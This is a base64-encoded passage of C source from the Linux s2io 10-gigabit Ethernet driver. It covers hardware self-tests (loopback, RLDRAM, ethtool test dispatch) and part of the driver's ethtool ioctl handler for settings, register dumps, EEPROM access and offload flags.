Y19jZmcpOwoJdmFsNjQgJj0gfk1BQ19DRkdfVE1BQ19MT09QQkFDSzsKCWFkZCA9ICh2b2lkICop JmJhcjAtPm1hY19jZmc7Cgl3cml0ZTY0KCZiYXIwLT5ybWFjX2NmZ19rZXksIFJNQUNfQ0ZHX0tF WSgweDRDMEQpKTsKCXdyaXRlbCgodTMyKSh2YWw2NCksIGFkZCk7Cgl3cml0ZTY0KCZiYXIwLT5y bWFjX2NmZ19rZXksIFJNQUNfQ0ZHX0tFWSgweDRDMEQpKTsKCXdyaXRlbCgodTMyKSh2YWw2NCA+ PjMyKSwgKGFkZCs0KSk7Cgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWFjX2NmZyk7CgkKCWRldl9y ZW1vdmVfcGFjaygmZXRodG9vbF90ZXN0KTsKfQoJCi8qCiAqIElucHV0IEFyZ3VtZW50L3M6IAog KiAgc3AgLSBwcml2YXRlIG1lbWJlciBvZiB0aGUgZGV2aWNlIHN0cnVjdHVyZSwgd2hpY2ggaXMg YSBwb2ludGVyIHRvIHRoZSAKICogICAJczJpb19uaWMgc3RydWN0dXJlLgogKiAgZGF0YSAtIHZh cmlhYmxlIHRoYXQgcmV0dXJucyB0aGUgcmVzdWx0IG9mIGVhY2ggb2YgdGhlIHRlc3QgY29uZHVj dGVkIGJ5IAogKiAgCXRoZSBkcml2ZXIuCiAqIFJldHVybiB2YWx1ZToKICogICcwJyBvbiBzdWNj ZXNzIG9yIC0xIG9uIGZhaWx1cmUuCiAqIERlc2NyaXB0aW9uOgogKiAgVGhlIGZ1bmN0aW9uIHB1 dHMgdGhlIGRldmljZSBpbiBNQUMgbG9vcGJhY2sgbW9kZSBhbmQgCiAqICBzZW5kcyAzIHRlc3Qg ZnJhbWVzIHdoaWNoIG11c3QgYmUgcmVjZWl2ZWQgd2l0aGluIDMgc2Vjb25kcyBmb3IgdGhlCiAq ICB0ZXN0IHRvIGJlIGRlZW1lZCBzdWNjZXNzZnVsLgogKi8Kc3RhdGljIGludCBzMmlvX2xvb3Bi YWNrVGVzdChuaWNfdCAqc3AsIHVpbnQ2NF90ICpkYXRhKQp7CglzZXR1cF9sb29wYmFjayhzcCk7 CglpZihzZW5kX3Rlc3RGcm1zKHNwKSkgewoJCURCR19QUklOVChFUlJfREJHLCJPdXQgb2YgbWVt b3J5LCBjYW50IGFsbG9jYXRlIGxvb3AgIik7CgkJREJHX1BSSU5UKEVSUl9EQkcsImJhY2sgZnJh bWVzXG4iKTsKCQkqZGF0YSA9IDE7CgkJcmV0dXJuIC0xOwoJfQoKCXNldF9jdXJyZW50X3N0YXRl KFRBU0tfSU5URVJSVVBUSUJMRSk7CglzY2hlZHVsZV90aW1lb3V0KEhaICogRVRIX0xPT1BfVEVT VF9ERUxBWSk7CgoJKmRhdGEgPSB2ZXJpZnlfdGVzdEZybXMoc3ApOwoJcmVzZXRfbG9vcGJhY2so c3ApOwkKCXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNwIC0gcHJp dmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0 byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogIGRhdGEgLSB2YXJpYWJsZSB0aGF0 IHJldHVybnMgdGhlIHJlc3VsdCBvZiBlYWNoIG9mIHRoZSB0ZXN0IGNvbmR1Y3RlZCBieSAKICog IAl0aGUgZHJpdmVyLgogKiBSZXR1cm4gdmFsdWU6CiAqICAnMCcgb24gc3VjY2Vzcy4KICogRGVz Y3JpcHRpb246CiAqICBUaGlzIGlzIG9uZSBvZiB0aGUgb2ZmbGluZSB0ZXN0IHRoYXQgdGVzdHMg dGhlIHJlYWQgYW5kIHdyaXRlIAogKiAgYWNjZXNzIHRvIHRoZSBSbGRSYW0gY2hpcCBvbiB0aGUg TklDLgogKi8Kc3RhdGljIGludCBzMmlvX3JsZHJhbVRlc3QobmljX3QgKnNwLCB1aW50NjRfdCAq ZGF0YSkKewoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29uZmlnX3QgKilz cC0+YmFyMDsKCXU2NCB2YWw2NDsKCWludCBjbnQsIGl0ZXJhdGlvbiA9IDAsIHRlc3RfcGFzcyA9 IDA7CgoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCk7Cgl2YWw2NCAmPSB+ QURBUFRFUl9FQ0NfRU47Cgl3cml0ZTY0KCZiYXIwLT5hZGFwdGVyX2NvbnRyb2wsIHZhbDY0KTsK CQoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPm1jX3JsZHJhbV90ZXN0X2N0cmwpOwoJdmFsNjQgfD0g TUNfUkxEUkFNX1RFU1RfTU9ERTsKCXdyaXRlNjQoJmJhcjAtPm1jX3JsZHJhbV90ZXN0X2N0cmws IHZhbDY0KTsKCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWNfcmxkcmFtX21ycyk7Cgl2YWw2NCB8 PSBNQ19STERSQU1fUVVFVUVfU0laRV9FTkFCTEU7Cgl3cml0ZTY0KCZiYXIwLT5tY19ybGRyYW1f bXJzLCB2YWw2NCk7CgoJdmFsNjQgfD0gTUNfUkxEUkFNX01SU19FTkFCTEU7Cgl3cml0ZTY0KCZi YXIwLT5tY19ybGRyYW1fbXJzLCB2YWw2NCk7CgkKCXdoaWxlKGl0ZXJhdGlvbiA8IDIpIHsKCQl2 YWw2NCA9IDB4NTU1NTU1NTVhYWFhMDAwMDsKCQlpZiAoaXRlcmF0aW9uID09IDEpIHsKCQkJdmFs NjQgXj0gMHhGRkZGRkZGRkZGRkYwMDAwOwoJCX0KCQl3cml0ZTY0KCZiYXIwLT5tY19ybGRyYW1f dGVzdF9kMCwgdmFsNjQpOwogICAgICAgCgkJdmFsNjQgPSAweGFhYWE1YTU1NTU1NTAwMDA7CgkJ aWYgKGl0ZXJhdGlvbiA9PSAxKSB7dmFsNjQgXj0gMHhGRkZGRkZGRkZGRkYwMDAwO30KCQl3cml0 ZTY0KCZiYXIwLT5tY19ybGRyYW1fdGVzdF9kMSwgdmFsNjQpOwogICAgICAgIAoJCXZhbDY0ID0g MHg1NWFhYWFhYWFhNWEwMDAwOwoJCWlmIChpdGVyYXRpb24gPT0gMSkge3ZhbDY0IF49IDB4RkZG RkZGRkZGRkZGMDAwMDt9CgkJd3JpdGU2NCgmYmFyMC0+bWNfcmxkcmFtX3Rlc3RfZDIsIHZhbDY0 KTsKICAgICAgICAKCQl2YWw2NCA9ICh1NjQpKDB4MDAwMDAwM2ZmZmZmMDAwMCk7ICAgCgkJd3Jp dGU2NCgmYmFyMC0+bWNfcmxkcmFtX3Rlc3RfYWRkLCB2YWw2NCk7CiAgICAgICAgCgoJCXZhbDY0 ID0gTUNfUkxEUkFNX1RFU1RfTU9ERTsKCQl3cml0ZTY0KCZiYXIwLT5tY19ybGRyYW1fdGVzdF9j dHJsLCB2YWw2NCk7CiAgICAgICAgCgkJdmFsNjQgfD0gTUNfUkxEUkFNX1RFU1RfTU9ERSB8IE1D X1JMRFJBTV9URVNUX1dSSVRFIHwgTUNfUkxEUkFNX1RFU1RfR087CgkJd3JpdGU2NCgmYmFyMC0+ bWNfcmxkcmFtX3Rlc3RfY3RybCwgdmFsNjQpOwogICAgICAgICAgICAgIAoJCWZvcihjbnQ9MDtj bnQ8NTtjbnQrKyl7CgkJCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5tY19ybGRyYW1fdGVzdF9jdHJs KTsKCQkJaWYodmFsNjQgJiBNQ19STERSQU1fVEVTVF9ET05FKQogICAgICAgICAgICAJYnJlYWs7 CiAgICAgICAJCW1kZWxheSgyMDApOwoJCX0KCgkJaWYoY250ID09IDUpCgkJCWJyZWFrOwoKCQl2 YWw2NCA9IE1DX1JMRFJBTV9URVNUX01PREU7CgkJd3JpdGU2NCgmYmFyMC0+bWNfcmxkcmFtX3Rl c3RfY3RybCwgdmFsNjQpOwogICAgICAgCgkJdmFsNjQgfD0gTUNfUkxEUkFNX1RFU1RfTU9ERSB8 IE1DX1JMRFJBTV9URVNUX0dPOwoJCXdyaXRlNjQoJmJhcjAtPm1jX3JsZHJhbV90ZXN0X2N0cmws IHZhbDY0KTsKCgkJbWRlbGF5KDUwMCk7CgkJZm9yKGNudD0wO2NudDw1O2NudCsrKXsKCQkJdmFs NjQgPSByZWFkNjQoJmJhcjAtPm1jX3JsZHJhbV90ZXN0X2N0cmwpOwoJCQlpZih2YWw2NCAmIE1D X1JMRFJBTV9URVNUX0RPTkUpCiAgICAgICAgICAgIAlicmVhazsKICAgICAgIAkJbWRlbGF5KDIw MCk7CgkJfQogICAgICAgCgkJaWYoY250ID09IDUpCgkJCWJyZWFrOwoKCQl2YWw2NCA9IHJlYWQ2 NCgmYmFyMC0+bWNfcmxkcmFtX3Rlc3RfY3RybCk7CSAgIAoJCWlmKHZhbDY0ICYgTUNfUkxEUkFN X1RFU1RfUEFTUykKICAgICAgICAJdGVzdF9wYXNzID0gMTsKICAgICAgIAoJCWl0ZXJhdGlvbisr OwoJfQkKCglpZighdGVzdF9wYXNzKQoJCSpkYXRhID0gMTsKCWVsc2UKCQkqZGF0YSA9IDA7CgkK CXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNwIC0gcHJpdmF0ZSBt ZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUg CiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogIGV0aHRlc3QgLSBwb2ludGVyIHRvIGEgZXRo dG9vbCBjb21tYW5kIHNwZWNpZmljIHN0cnVjdHVyZSB0aGF0IHdpbGwgYmUKICogIAlyZXR1cm5l ZCB0byB0aGUgdXNlci4KICogIGRhdGEgLSB2YXJpYWJsZSB0aGF0IHJldHVybnMgdGhlIHJlc3Vs dCBvZiBlYWNoIG9mIHRoZSB0ZXN0IGNvbmR1Y3RlZCBieSAKICogIAl0aGUgZHJpdmVyLgogKiBS ZXR1cm4gdmFsdWU6CiAqICBTVUNDRVNTIG9uIHN1Y2Nlc3MgYW5kIGFuIGFwcHJvcHJpYXRlIC0x IG9uIGZhaWx1cmUuCiAqIERlc2NyaXB0aW9uOgogKiAgVGhpcyBmdW5jdGlvbiBjb25kdWN0cyA2 IHRlc3RzICggNCBvZmZsaW5lIGFuZCAyIG9ubGluZSkgdG8gZGV0ZXJtaW5lCiAqICAJdGhlIGhl YWx0aCBvZiB0aGUgY2FyZC4KICovCnN0YXRpYyBpbnQgczJpb19ldGh0b29sX3Rlc3QobmljX3Qg KnNwLCBzdHJ1Y3QgZXRodG9vbF90ZXN0ICpldGh0ZXN0LCAKCQl1aW50NjRfdCAqZGF0YSkKewoJ aW50IG9yaWdfc3RhdGUgPSBuZXRpZl9ydW5uaW5nKHNwLT5kZXYpOwoKCWlmKGV0aHRlc3QtPmZs YWdzID09IEVUSF9URVNUX0ZMX09GRkxJTkUpIHsKCS8qIE9mZmxpbmUgVGVzdHMuICovCgkJaWYo b3JpZ19zdGF0ZSkgewoJCQlzMmlvX2Nsb3NlKHNwLT5kZXYpOwoJCQlzMmlvX3NldF9zd2FwcGVy KHNwKTsKCQl9CgkJZWxzZSAKCQkJczJpb19zZXRfc3dhcHBlcihzcCk7CgoJCWlmKHMyaW9fcmVn aXN0ZXJUZXN0KHNwLCAmZGF0YVswXSkpCgkJCWV0aHRlc3QtPmZsYWdzIHw9IEVUSF9URVNUX0ZM X0ZBSUxFRDsKCQkKCQlzMmlvX3Jlc2V0KHNwKTsKCQlzMmlvX3NldF9zd2FwcGVyKHNwKTsKCQoJ CWlmKHMyaW9fcmxkcmFtVGVzdChzcCwgJmRhdGFbNF0pKQoJCQlldGh0ZXN0LT5mbGFncyB8PSBF VEhfVEVTVF9GTF9GQUlMRUQ7CgoJCXMyaW9fcmVzZXQoc3ApOwoJCXMyaW9fc2V0X3N3YXBwZXIo c3ApOwoJCgkJaWYoczJpb19lZXByb21UZXN0KHNwLCAmZGF0YVsxXSkpCgkJCWV0aHRlc3QtPmZs YWdzIHw9IEVUSF9URVNUX0ZMX0ZBSUxFRDsKCgkJaWYoczJpb19iaXN0VGVzdChzcCwgJmRhdGFb NV0pKQoJCQlldGh0ZXN0LT5mbGFncyB8PSBFVEhfVEVTVF9GTF9GQUlMRUQ7CgoJCWlmKG9yaWdf c3RhdGUpCgkJCXMyaW9fb3BlbihzcC0+ZGV2KTsKCgkJZGF0YVsyXSA9IDA7CgkJZGF0YVszXSA9 IDA7Cgl9CgllbHNlIHsKCS8qIE9ubGluZSBUZXN0cy4gKi8KCQlpZighb3JpZ19zdGF0ZSkKCQkJ cmV0dXJuIC0xOwoJCQoJCWlmKHMyaW9fbGlua1Rlc3Qoc3AsICZkYXRhWzNdKSkKCQkJZXRodGVz dC0+ZmxhZ3MgfD0gRVRIX1RFU1RfRkxfRkFJTEVEOwoKCQlpZihzMmlvX2xvb3BiYWNrVGVzdChz cCwgJmRhdGFbMl0pKQoJCQlldGh0ZXN0LT5mbGFncyB8PSBFVEhfVEVTVF9GTF9GQUlMRUQ7CgkJ CgkJZGF0YVswXSA9IDA7CgkJZGF0YVsxXSA9IDA7CgkJZGF0YVs0XSA9IDA7CgkJZGF0YVs1XSA9 IDA7Cgl9CgkKCXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIGRldiAt IGRldmljZSBwb2ludGVyLgogKiAgaWZyIC0gICBBbiBJT0NUTCBzcGVjZWZpYyBzdHJ1Y3R1cmUs IHRoYXQgY2FuIGNvbnRhaW4gYSBwb2ludGVyIHRvCiAqICAgICAgYSBwcm9wcmlldGFyeSBzdHJ1 Y3R1cmUgdXNlZCB0byBwYXNzIGluZm9ybWF0aW9uIHRvIHRoZSBkcml2ZXIuCiAqIFJldHVybiB2 YWx1ZToKICogIFNVQ0NFU1Mgb24gc3VjY2VzcyBhbmQgYW4gYXBwcm9wcmlhdGUgKC0pdmUgaW50 ZWdlciBhcyBkZWZpbmVkIGluIGVycm5vLmgKICogIGZpbGUgb24gZmFpbHVyZS4KICogRGVzY3Jp cHRpb246CiAqICBGdW5jdGlvbiB1c2VkIHRvIHN1cHBvcnQgYWxsIGV0aHRvb2wgZmF0dXJlcyBl eGNlcHQgZHVtcGluZyBEZXZpY2Ugc3RhdHMKICogIGFzIGl0IGNhbiBiZSBvYnRhaW5lZCBmcm9t IHRoZSB1dGlsIHRvb2wgZm9yIG5vdy4KICovCnN0YXRpYyBpbnQgczJpb19ldGh0b29sKHN0cnVj dCBuZXRfZGV2aWNlICpkZXYsIHN0cnVjdCBpZnJlcSAqcnEpCnsKCW5pY190ICpzcCA9IChuaWNf dCAqKWRldi0+cHJpdjsKCXZvaWQgKmRhdGEgPSBycS0+aWZyX2RhdGE7Cgl1MzIgZWNtZDsKCQoJ aWYoZ2V0X3VzZXIoZWNtZCwgKHUzMiAqKWRhdGEpKSB7CgkJcmV0dXJuIC1FRkFVTFQ7Cgl9CgoJ c3dpdGNoKGVjbWQpIHsKCQljYXNlIEVUSFRPT0xfR1NFVDogCgkJewoJCQlzdHJ1Y3QgZXRodG9v bF9jbWQgaW5mbyA9IHsgRVRIVE9PTF9HU0VUIH07CgkJCXMyaW9fZXRodG9vbF9nc2V0KHNwLCAm aW5mbyk7CgkJCWlmKGNvcHlfdG9fdXNlcihkYXRhLCAmaW5mbywgc2l6ZW9mKGluZm8pKSkKCQkJ CXJldHVybiAtRUZBVUxUOwoJCQlicmVhazsKCQl9CgkJY2FzZSBFVEhUT09MX1NTRVQ6CgkJewoJ CQlzdHJ1Y3QgZXRodG9vbF9jbWQgaW5mbzsKCQkJCgkJCWlmKGNvcHlfZnJvbV91c2VyKCZpbmZv LCBkYXRhLCBzaXplb2YoaW5mbykpKQoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCWlmKHMyaW9fZXRo dG9vbF9zc2V0KHNwLCAmaW5mbykpCgkJCQlyZXR1cm4gLUVGQVVMVDsKCQkJYnJlYWs7CgkJfQoJ CWNhc2UgRVRIVE9PTF9HRFJWSU5GTzoKCQl7CgkJCXN0cnVjdCBldGh0b29sX2RydmluZm8gaW5m byA9IHsgRVRIVE9PTF9HRFJWSU5GTyB9OwoJCgkJCXMyaW9fZXRodG9vbF9nZHJ2aW5mbyhzcCwg JmluZm8pOwoJCQlpZihjb3B5X3RvX3VzZXIoZGF0YSwgJmluZm8sIHNpemVvZihpbmZvKSkpCgkJ CQlyZXR1cm4gLUVGQVVMVDsKCQkJYnJlYWs7CgkJfQoJCSNpZiBkZWZpbmVkKEVUSFRPT0xfR1JF R1MpICYmIGRlZmluZWQoRVRIVE9PTF9HRUVQUk9NKQoJCWNhc2UgRVRIVE9PTF9HUkVHUzoKCQl7 CgkJCXN0cnVjdCBldGh0b29sX3JlZ3MgcmVncyA9IHsgRVRIVE9PTF9HUkVHUyB9OwoJCQl1OCAq cmVnX3NwYWNlOwoJCQlyZWdzLnZlcnNpb24gPSBzcC0+cGRldi0+c3Vic3lzdGVtX2RldmljZTsK CQkJCQoJCQlyZWdfc3BhY2UgPSBrbWFsbG9jKFhFTkFfUkVHX1NQQUNFLCBHRlBfS0VSTkVMKTsK CQkJaWYocmVnX3NwYWNlID09IE5VTEwpIHsKCQkJCURCR19QUklOVChFUlJfREJHLCJNZW1vcnkg YWxsb2NhdGlvbiB0byBkdW1wICIpOwoJCQkJREJHX1BSSU5UKEVSUl9EQkcsInJlZ2lzdGVycyBm YWlsZWRcbiIpOwoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCX0KCQkJbWVtc2V0KHJlZ19zcGFjZSwg MCwgWEVOQV9SRUdfU1BBQ0UpOwoJCQlzMmlvX2V0aHRvb2xfZ3JlZ3Moc3AsICZyZWdzLCByZWdf c3BhY2UpOwoJCQlpZihjb3B5X3RvX3VzZXIoZGF0YSwgJnJlZ3MsIHNpemVvZihyZWdzKSkpIHsK CQkJCXJldHVybiAtRUZBVUxUOwoJCQl9CgkJCWRhdGEgKz0gb2Zmc2V0b2Yoc3RydWN0IGV0aHRv b2xfcmVncywgZGF0YSk7CgkJCWlmKGNvcHlfdG9fdXNlcihkYXRhLCByZWdfc3BhY2UsIHJlZ3Mu bGVuKSkgewoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCX0KCQkJLyogRnJlZSB1cCB0aGUga2VybmVs IG1lbW9yeSAqLwoJCQlrZnJlZShyZWdfc3BhY2UpOwoJCQlicmVhazsKCQl9CgkJI2VuZGlmIC8q IEVUSFRPT0xfR1JFR1MuICovCgkJY2FzZSBFVEhUT09MX05XQVlfUlNUOgoJCXsKCQkJREJHX1BS SU5UKElORk9fREJHLCAiQ2FyZCByZXNldCB0aHJvdWdoIEV0aFRvb2xcbiIpOwoJCQlpZihuZXRp Zl9ydW5uaW5nKGRldikpIHsKCQkJCXMyaW9fY2xvc2UoZGV2KTsJCgkJCQlzMmlvX29wZW4oZGV2 KTsKCQkJfQoJCQllbHNlIHsKCQkJCXMyaW9fcmVzZXQoc3ApOwoJCQkJczJpb19zZXRfc3dhcHBl cihzcCk7CgkJCX0JCgkJCWJyZWFrOwoJCX0KCQljYXNlIEVUSFRPT0xfR0xJTks6CgkJewoJCQlz dHJ1Y3QgZXRodG9vbF92YWx1ZSBsaW5rID0geyBFVEhUT09MX0dMSU5LIH07CgoJCQlsaW5rLmRh dGEgPSBuZXRpZl9jYXJyaWVyX29rKGRldik7CgkJCWlmKGNvcHlfdG9fdXNlcihkYXRhLCAmbGlu aywgc2l6ZW9mKGxpbmspKSkKCQkJCXJldHVybiAtRUZBVUxUOwoJCQlicmVhazsKCQl9CgkJI2lm ZGVmIEVUSFRPT0xfUEhZU19JRAoJCWNhc2UgRVRIVE9PTF9QSFlTX0lEOgoJCXsJCgkJCXN0cnVj dCBldGh0b29sX3ZhbHVlIGlkOwoJCgkJCWlmKGNvcHlfZnJvbV91c2VyKCZpZCwgZGF0YSwgc2l6 ZW9mKGlkKSkpCgkJCQlyZXR1cm4gLUVGQVVMVDsKCQkJczJpb19ldGh0b29sX2lkbmljKHNwLCAm aWQpOwoJCQlicmVhazsKCQl9CgkJI2VuZGlmIC8qIEVUSFRPT0xfUEhZU19JRCAqLwoJCWNhc2Ug RVRIVE9PTF9HUEFVU0VQQVJBTToKCQl7CgkJCXN0cnVjdCBldGh0b29sX3BhdXNlcGFyYW0gZXAg PSB7IEVUSFRPT0xfR1BBVVNFUEFSQU0gfTsKCgkJCXMyaW9fZXRodG9vbF9nZXRwYXVzZV9kYXRh KHNwLCAmZXApOwkKCQkJaWYoY29weV90b191c2VyKGRhdGEsICZlcCwgc2l6ZW9mKGVwKSkpIAoJ CQkJcmV0dXJuIC1FRkFVTFQ7CgkJCWJyZWFrOwoJCQkKCQl9CgkJY2FzZSBFVEhUT09MX1NQQVVT RVBBUkFNOgoJCXsKCQkJc3RydWN0IGV0aHRvb2xfcGF1c2VwYXJhbSBlcDsKCgkJCWlmKGNvcHlf ZnJvbV91c2VyKCZlcCwgZGF0YSwgc2l6ZW9mKGVwKSkpCgkJCQlyZXR1cm4gLUVGQVVMVDsKCQkJ czJpb19ldGh0b29sX3NldHBhdXNlX2RhdGEoc3AsICZlcCk7CgkJCWJyZWFrOwoJCX0KCQljYXNl IEVUSFRPT0xfR1JYQ1NVTToKCQl7CgkJCXN0cnVjdCBldGh0b29sX3ZhbHVlIGV2ID0geyBFVEhU T09MX0dSWENTVU0gfTsKCQkJZXYuZGF0YSA9IChkZXYtPmZlYXR1cmVzICYgTkVUSUZfRl9IV19D U1VNKTsKCgkJCWlmKGNvcHlfdG9fdXNlcihkYXRhLCAmZXYsIHNpemVvZihldikpKSAKCQkJCXJl dHVybiAtRUZBVUxUOwoJCQlicmVhazsKCQl9CgkJY2FzZSBFVEhUT09MX0dUWENTVU06CgkJewoJ CQlzdHJ1Y3QgZXRodG9vbF92YWx1ZSBldiA9IHsgRVRIVE9PTF9HVFhDU1VNIH07CgkJCWV2LmRh dGEgPSAoZGV2LT5mZWF0dXJlcyAmIE5FVElGX0ZfSFdfQ1NVTSk7CgoJCQlpZihjb3B5X3RvX3Vz ZXIoZGF0YSwgJmV2LCBzaXplb2YoZXYpKSkgCgkJCQlyZXR1cm4gLUVGQVVMVDsKCQkJYnJlYWs7 CgkJfQoJCWNhc2UgRVRIVE9PTF9HU0c6CgkJewoJCQlzdHJ1Y3QgZXRodG9vbF92YWx1ZSBldiA9 IHsgRVRIVE9PTF9HU0cgfTsKCQkJZXYuZGF0YSA9IChkZXYtPmZlYXR1cmVzICYgTkVUSUZfRl9T Ryk7CgoJCQlpZihjb3B5X3RvX3VzZXIoZGF0YSwgJmV2LCBzaXplb2YoZXYpKSkgCgkJCQlyZXR1 cm4gLUVGQVVMVDsKCQkJYnJlYWs7CgkJfQoJCSNpZmRlZiBORVRJRl9GX1RTTwoJCWNhc2UgRVRI VE9PTF9HVFNPOgoJCXsKCQkJc3RydWN0IGV0aHRvb2xfdmFsdWUgZXYgPSB7IEVUSFRPT0xfR1RT TyB9OwoJCQlldi5kYXRhID0gKGRldi0+ZmVhdHVyZXMgJiBORVRJRl9GX1RTTyk7CgoJCQlpZihj b3B5X3RvX3VzZXIoZGF0YSwgJmV2LCBzaXplb2YoZXYpKSkgCgkJCQlyZXR1cm4gLUVGQVVMVDsK CQkJYnJlYWs7CgkJfQoJCSNlbmRpZgoJCWNhc2UgRVRIVE9PTF9TUlhDU1VNOgoJCWNhc2UgRVRI VE9PTF9TVFhDU1VNOgoJCXsKCQkJc3RydWN0IGV0aHRvb2xfdmFsdWUgZXY7CgoJCQlpZihjb3B5 X2Zyb21fdXNlcigmZXYsIGRhdGEsIHNpemVvZihldikpKQoJCQkJcmV0dXJuIC1FRkFVTFQ7CgoJ CQlpZihldi5kYXRhKQoJCQkJZGV2LT5mZWF0dXJlcyB8PSBORVRJRl9GX0hXX0NTVU07CgkJCWVs c2UKCQkJCWRldi0+ZmVhdHVyZXMgJj0gfk5FVElGX0ZfSFdfQ1NVTTsKCQkJYnJlYWs7CgkJfQoJ CWNhc2UgRVRIVE9PTF9TU0c6CgkJewoJCQlzdHJ1Y3QgZXRodG9vbF92YWx1ZSBldjsKCgkJCWlm KGNvcHlfZnJvbV91c2VyKCZldiwgZGF0YSwgc2l6ZW9mKGV2KSkpCgkJCQlyZXR1cm4gLUVGQVVM VDsKCgkJCWlmKGV2LmRhdGEpCgkJCQlkZXYtPmZlYXR1cmVzIHw9IE5FVElGX0ZfU0c7CgkJCWVs c2UKCQkJCWRldi0+ZmVhdHVyZXMgJj0gfk5FVElGX0ZfU0c7CgkJCWJyZWFrOwoJCX0KCQkjaWZk ZWYgTkVUSUZfRl9UU08KCQljYXNlIEVUSFRPT0xfU1RTTzoKCQl7CgkJCXN0cnVjdCBldGh0b29s X3ZhbHVlIGV2OwoKCQkJaWYoY29weV9mcm9tX3VzZXIoJmV2LCBkYXRhLCBzaXplb2YoZXYpKSkK CQkJCXJldHVybiAtRUZBVUxUOwoKCQkJaWYoZXYuZGF0YSkKCQkJCWRldi0+ZmVhdHVyZXMgfD0g TkVUSUZfRl9UU087CgkJCWVsc2UKCQkJCWRldi0+ZmVhdHVyZXMgJj0gfk5FVElGX0ZfVFNPOwoJ CQlicmVhazsKCQl9CgkJI2VuZGlmCgkJY2FzZSBFVEhUT09MX0dFRVBST006CgkJewoJCQlzdHJ1 Y3QgZXRodG9vbF9lZXByb20gZWVwcm9tID0geyBFVEhUT09MX0dFRVBST00gfTsKCQkJY2hhciAq ZGF0YV9idWY7CgkJCWludCByZXQgPSAwOwoJCQkKCQkJaWYoY29weV9mcm9tX3VzZXIoJmVlcHJv bSwgZGF0YSwgc2l6ZW9mKGVlcHJvbSkpKQoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCQoJCQlpZihl ZXByb20ubGVuIDw9IDApCgkJCQlyZXR1cm4gLUVJTlZBTDsKCgkJCWlmKCEoZGF0YV9idWYgPSBr bWFsbG9jKFhFTkFfRUVQUk9NX1NQQUNFLCBHRlBfS0VSTkVMKSkpCgkJCQlyZXR1cm4gLUVOT01F TTsKCQkJczJpb19ldGh0b29sX2dlZXByb20oc3AsICZlZXByb20sIGRhdGFfYnVmKTsKCQkJCgkJ CWlmKGNvcHlfdG9fdXNlcihkYXRhLCAmZWVwcm9tLCBzaXplb2YoZWVwcm9tKSkpCgkJCQlyZXQg PSAtRUZBVUxUOwoJCQkKCQkJZGF0YSArPSBvZmZzZXRvZihzdHJ1Y3QgZXRodG9vbF9lZXByb20s IGRhdGEpOwoJCQkJCQoJCQlpZihjb3B5X3RvX3VzZXIoZGF0YSwgKHZvaWQgKilkYXRhX2J1Ziwg ZWVwcm9tLmxlbikpCgkJCQlyZXQgPSAtRUZBVUxUOwoJCQkKCQkJa2ZyZWUoZGF0YV9idWYpOwoJ CQlpZihyZXQpCgkJCQlyZXR1cm4gcmV0OwoJCQlicmVhazsKCQl9CgkJY2FzZSBFVEhUT09MX1NF RVBST006CgkJewoJCQlzdHJ1Y3QgZXRodG9vbF9lZXByb20gZWVwcm9tOwoJCQl1bnNpZ25lZCBj aGFyICpkYXRhX2J1ZjsKCQkJdm9pZCAqcHRyOwoJCQlpbnQgcmV0ID0gMDsKCgkJCWlmKGNvcHlf ZnJvbV91c2VyKCZlZXByb20sIGRhdGEsIHNpemVvZihlZXByb20pKSkKCQkJCXJldHVybiAtRUZB VUxUOwoJCQkKCQkJaWYoIShkYXRhX2J1ZiA9IGttYWxsb2MoZWVwcm9tLmxlbiwgR0ZQX0tFUk5F TCkpKQoJCQkJcmV0dXJuIC1FTk9NRU07CgkJCXB0ciA9ICh2b2lkICopZGF0YV9idWY7CgoJCQlk YXRhICs9IG9mZnNldG9mKHN0cnVjdCBldGh0b29sX2VlcHJvbSwgZGF0YSk7CgkJCWlmKGNvcHlf ZnJvbV91c2VyKHB0ciwgZGF0YSwgZWVwcm9tLmxlbikpCgkJCQlyZXR1cm4gLUVGQVVMVDsKCQkJ CgkJCWlmKHMyaW9fZXRodG9vbF9zZWVwcm9tKHNwLCAmZWVwcm9tLCBkYXRhX2J1ZikpCgkJCQly ZXQgPSAtRUZBVUxUOwoKCQkJa2ZyZWUoZGF0YV9idWYpOwoJCQlpZihyZXQpCgkJCQlyZXR1cm4g cmV0OwoJCQlicmVhazsKCQl9CgkJY2FzZSBFVEhUT09MX0dTVFJJTkdTOgoJCXsKCQkJc3RydWN0 IGV0aHRvb2xfZ3N0cmluZ3MgZ3N0cmluZ3MgPSB7IEVUSFRPT0xfR1NUUklOR1MgfTsKCQkJY2hh ciAqc3RyaW5ncyA9IE5VTEw7CgkJCWludCByZXQgPSAwOwoKCQkJaWYoY29weV9mcm9tX3VzZXIo JmdzdHJpbmdzLCBkYXRhLCBzaXplb2YoZ3N0cmluZ3MpKSkKCQkJCXJldHVybiAtRUZBVUxUOwoJ CgkJCXN3aXRjaChnc3RyaW5ncy5zdHJpbmdfc2V0KSB7CgkJCQljYXNlIEVUSF9TU19URVNUOgoJ CQkJCWdzdHJpbmdzLmxlbiA9IFMySU9fVEVTVF9MRU47CgkJCQkJc3RyaW5ncyA9IGttYWxsb2Mo UzJJT19TVFJJTkdTX0xFTiwgCgkJCQkJCQlHRlBfS0VSTkVMKTsKCQkJCQlpZighc3RyaW5ncykK CQkJCQkJcmV0dXJuIC1FTk9NRU07CgkJCQkJbWVtY3B5KHN0cmluZ3MsIHMyaW9fZ3N0cmluZ3Ms 